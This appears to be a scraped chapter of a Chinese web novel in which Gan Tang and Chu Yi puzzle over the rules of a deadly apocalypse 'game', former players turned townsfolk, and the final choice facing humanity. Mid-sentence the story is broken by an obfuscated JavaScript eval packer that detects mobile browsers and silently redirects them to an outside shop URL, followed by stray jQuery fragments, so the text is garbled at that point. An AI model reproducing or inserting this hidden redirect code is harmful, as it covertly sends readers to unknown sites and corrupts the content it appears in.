从一开始,甘棠就没有理所当然地把“邑民”当作黑工使唤,而是尽可能的为他们提供相应的生活物资与基础条件,这点也是她最为庆幸的一点,毕竟和平相处之下,这些“邑民”反哺的东西绝不是靠她个人能力能达成的成果。
所以“邑民”会是曾经的玩家吗?
顺着这个线头,甘棠觉得自己的思路越来越清晰。
如果“邑民”曾经是玩家,那说明“规则”之下,“灾厄”能对他们造成的毁灭性伤害还是有限的,乐观地想,死亡或许并不是最终的结局,而是为下一轮的玩家甚至其它维度的存在提供便利或一些“规则”之下的优待。
这样的优待应该是公平、公正的,另一个层面上来讲,这种优待也是“规则”的其中一条,只是没人知道玩家成为“邑民”之后,服务的对象到底是不是自己的同类。
那这条“规则”是哪一轮玩家发现的呢?
甘棠轻轻托着下巴,用指尖轻轻敲击。
这会儿跟褚黟追根刨底没有意义,因为按他了解的“规则”来看,不管能不能顺利通关这都将是最后一轮“游戏”。
游戏终章应该会给出一个让胜者满意的结果,不然这场游戏根本没有任何意义。
想通这一点,甘棠也不再去“遥想”结果,而是收回感觉不太够用的脑子开始琢磨这个“副本”应该怎么完成。
“空脑”和“祭神者”存在一定的关联,“空脑者”是玩家在游戏中死掉后的遗留物,更大程度上跟文学作品里的丧尸相似,如果遇到这类存在直接击杀就行。
但“祭神者”的存在则更像“灾厄”在人类自救之下的模糊项,毕竟这个副本实在特殊,如果幸存的人类遭遇玩家,没有[排名]的帮助,很难分辨出到底哪些存在才是值得信赖的。
还有就是,到底做到什么程度才算“通关副本”呢?
总不能是要杀掉所有“空脑”和“祭神者”吧?
甘棠总觉得事情没那么简单。
可这个游戏从开始之初就不算特别麻烦,尽管需要面临十分紧迫的升级任务,也需要在每个“赛季”之后亲身作战对抗入侵,实际难度却没有想象中的那么高,只要一步步按部就班,最终都能顺利进入新一“赛季”。
所以到底是什么呢?
甘棠怎么也想不出来,毕竟她是一个正常人,实在没办法以正常角度来分析一个不怎么正常的“灾厄”。
“褚黟,能透露玩家最后一个赛季到底是需要完成什么任务或者挑战吗?”
褚黟却面露难色,“游戏到现在已经跟我记忆中的完全不同了。”
褚黟的记忆中,他已经经历过三轮游戏。
第一轮游戏,即便他性情沉稳也难免有些惶恐,毕竟死亡是真实的,危机也不会给他丁点儿喘息的机会,幸好他运气不错,两个“赛季”下来就可以稳定的在中上游发展自身,可惜他的能力还是不够,哪怕最终“触顶”,也只能绝望的看着死亡降临。
第二轮游戏,褚黟最初意外自己“重生”,冷静之后便在升级过程中见缝插针地在各个频道向其他玩家透露自己了解的“游戏”,起初很多玩家都不愿意相信,直到他的“预言”验证,一部分玩家才跟着他开始组建团体。
褚黟本以为这一轮游戏最终会走向胜利,可是却有人在最后一关联系上他,告诉他“登顶”之前一定要做好准备,不然一旦选择错误,人类就将踏入毁灭的境地。
褚黟不清楚什么才是正确的选择,明明游戏最后他做出了自认为正确的选择,可“灾厄”还是没有放人类自由,而是选择消耗自身能量,开启了新一轮的游戏。
没能自救,更是把人类带入了新一轮的磨难,所以第三轮游戏开启时,褚黟陷入了自我怀疑和自我厌弃的状态,也是这时候,他看到了甘棠。
甘棠的出现让褚黟的情况好转了许多,之后甘棠毫不意外地“触顶”,曾经出现过的那些“老玩家”也重新找到了他,但他们的记忆跟他有所出入,几方比对之后,他们也得出了新的结论——
这是最后一次机会,不论是对于人类,还是灾厄而言。
与他们不同,这一轮游戏的玩家有了新的助力,这或许是千千万万人类先驱努力之后的最终成果,但如最终选择一样,只有正确对待这些助力才能得到真正的帮助。
走到这一步,前辈的经验已经不太管用了,就像曾经他经历过的关卡更多的是对战,可这一轮游戏却直接将这种模式调整到每一个关卡的通关“考验”,明显,不止他们急,躲在天幕之后的灾厄也急。
褚黟猜测,这一轮的最后一关更多的还是考验人类的“抉择”,毕竟人性多重,越多人参与,最后越是会出现意想不到的结局。
这一点褚黟没有明说,可甘棠隐约猜到了一点。
“抉择”落在一个人身上,但凡心性稍微差一点都能把一个人直接压垮,典型就是“轨道救人”。
一人还是百人,精英还是平庸,对于大众而言都是一个十分痛苦的选择,甘棠也说不准自己站在“抉择”的端口能做出怎么样的选择,幸好这一次看起来并不需要她一个人做主,所以她甘于平庸,等待被别人决定生死。
也别怪她自私,毕竟谁也不想身负千千万万人的结局。
“算了,先不管这些。我们还要找你爸妈会合吗?”
褚黟诚实地摇了摇头,既然一切说开,也没必要再去找他父母,免得还要解释一遍,最后也不过徒增烦恼罢了。
甘棠也有些庆幸。
毕竟她这会儿算是跟褚黟确定了关系,约摸是大多数女孩子都不喜欢跟公婆相处,而她正好也是这“大多数”之一,所以能不见就不见,真要关系进一步也得等这场遭遇彻底结束再说。
“那我们先去找裴莫会合。”
裴莫身处学校,短期内可以靠遵守“学校规则”保命,但“祭神者”还保留人性,谁也说不准巢穴之中到底有多少站在指挥位的“祭神者”,到时候凭裴莫一个人指定不好逃脱,他又是“触顶”的玩家之一,万一没能走到最后,岂不是少一个人分担压力?
甘棠知道自己的想法有点问题,莫名地笑了两声,引得褚黟看向她。
“怎么了?”
“没事。”
她一个人的时候也经常想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734080|204104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么就神经发笑,摆了摆手就自然的转移了话题。
“也不知道单白和谢宝贝是怎么回事,到现在也还没回消息。”
总不能公司的“规则”是不许聊天吧?
甘棠又点开[排名]看了一下。
榜上眼熟的人在这短短的时间里已经有了变化,前二十名新增了2个[祭神]标志的玩家,看名字是没打过交道的,但二十名之后原有的[祭神]玩家现在死掉了一个,也不知道是被人杀掉了,还是出现了什么意外。
可参考意义不大。
甘棠突然脑子一醒,意识到自己还没跟褚黟沟通过[祭神]标志的问题,连忙将前排的几个玩家排行和名字说了出来。
“你快看看你的排行榜上面这几个人有没有[祭神]标志。”
这游戏从一开始就喜欢搞些不同寻常的东西,甘棠十分怀疑这是“灾厄”搞出来迷惑人的,毕竟“规则”之下双方都在想办法增加己方的胜率,所以还真有可能在玩家可见的类目里搞事。
褚黟开着车也不耽误查看虚拟光屏,这一看,果然发现了问题。
“我这儿的排行榜还是老样子,[祭神]标志应该是先驱者给'触顶'玩家的优待。”
通常来说“触顶”是指排名前十的玩家,但人数太多有时并不是好事,所以有些“优待”只能择优而予。
甘棠是排行榜第一位,几次关卡都表现得不错,所以这个“优”毋庸置疑。
“那我要不要给单白和谢宝贝说一下这件事?”
话虽然问出了口,可甘棠心里却也觉得这事儿不会这么轻易办成。
果不其然,无论她想要以哪种方式将褚黟所说的事告知他人,最后发过去的都会变成一串意义不明的星号,可见这是“规则”不允许的。
“看来'规则'只允许面对面交流。”
“嗯,可惜没法直接向[祭神]玩家询问坐标,不然直接对冲一波应该能知道怎么解决这个麻烦。”
无法通过“游戏系统”进行消息传递,想要达成合作,接下来首要任务还是会合。
单白和谢宝贝实在离得太远了,无论甘棠还是褚黟都跟偏向去找裴莫,所以即便说到这一点,两人也默契地没有提出改道的事情。
“你说这件事结束之后,我们领地里的那些邑民能不能回归?”
记忆会骗人,没人说得准“邑民”究竟是前几轮对抗“灾厄”失败的玩家,还是这一轮遭遇“灾厄”不幸早早死亡的玩家。
这个问题过于沉重,褚黟只能沉默,许久之后才叹了一口气。
甘棠也不是非要求一个答案,毕竟她隐隐有种感觉,只是并不希望这种感觉成真。
心情一乱,甘棠就喜欢话找话,可“游戏”没什么可聊,甘棠只能转而说起一些往事。
褚黟现世的经历她已经大概了解了一些,说来说去,讲得最多的还是她这些年闲闲散散的生活日常。
一路闲话,途中倒也没遇到什么危险,不知不觉两个人就来到了距离H市一百公里左右的位置。
“没油了,剩下的路走过去?”
“行。”